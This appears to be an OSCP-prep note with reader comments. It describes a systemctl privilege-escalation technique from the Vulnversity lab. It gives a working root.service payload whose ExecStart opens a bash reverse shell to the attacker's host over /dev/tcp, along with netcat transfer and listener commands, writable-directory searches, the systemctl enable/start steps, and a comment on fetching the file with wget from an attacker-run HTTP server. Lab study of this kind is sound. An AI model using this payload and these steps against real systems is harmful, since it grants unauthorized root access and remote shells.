Privilege Escalation: Systemctl (Misconfigured Permissions — sudo/SUID)

Privilege Escalation.md

For better reading experience

https://alvinsmith.gitbook.io/progressive-oscp/untitled/vulnversity-privilege-escalation

0. Prepare your payload root.service

[Unit]
Description=roooooooooot

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/9999 0>&1'

[Install]
WantedBy=multi-user.target

1. Find a files/directories that writable

find / -type f -maxdepth 2 -writable

or

find / -type d -maxdepth 2 -writable

2. Transfter the payload(Or just write file there using vi)

Init the target listening the port

nc -vl 44444 > root.service

Send file to traget

nc -n TargetIP 44444 < root.service

3. Start listening on the 9999

nc -lvnp 9999

4. Execute the payload(assume the file is under /dev/shm)

/bin/systemctl enable /dev/shm/root.service
Created symlink from /etc/systemd/system/multi-user.target.wants/root.service to /dev/shm/root.service
Created symlink from /etc/systemd/system/root.service -> /dev/shm/root.service

/bin/systemctl start root

5. The nc listening on 9999 would give you the root

Expand Knowlege

https://gtfobins.github.io/gtfobins/systemctl/#suid

https://stackoverflow.com/questions/2491985/find-all-writable-files-in-the-current-directory

https://www.maketecheasier.com/netcat-transfer-files-between-linux-computers/

https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49

Who is here for the vulnervisity room?

Easy method to get the root.service file onto the compromised server if you already have a nc reverse shell running (ahem, Vulnversity room) - serve it from your attacker machine using python http.server, then wget it in the reverse shell you already got.

---

Find a writable directory on the compromised server by running:
find / -type d -maxdepth 2 -writable
cd into it

Run a python http.server on your attacker machine in the directory that has your root.service file:
python3 -m http.server 8000

Go back to your nc reverse shell, and wget that sucker from your attacker machine. Check ifconfig or hostname -I for your attacker machine IP address.
wget http://YOUR-IP:8000/root.service
(for Vulnversity, I used the Internal Virtual IP)

Voila!

The man, ty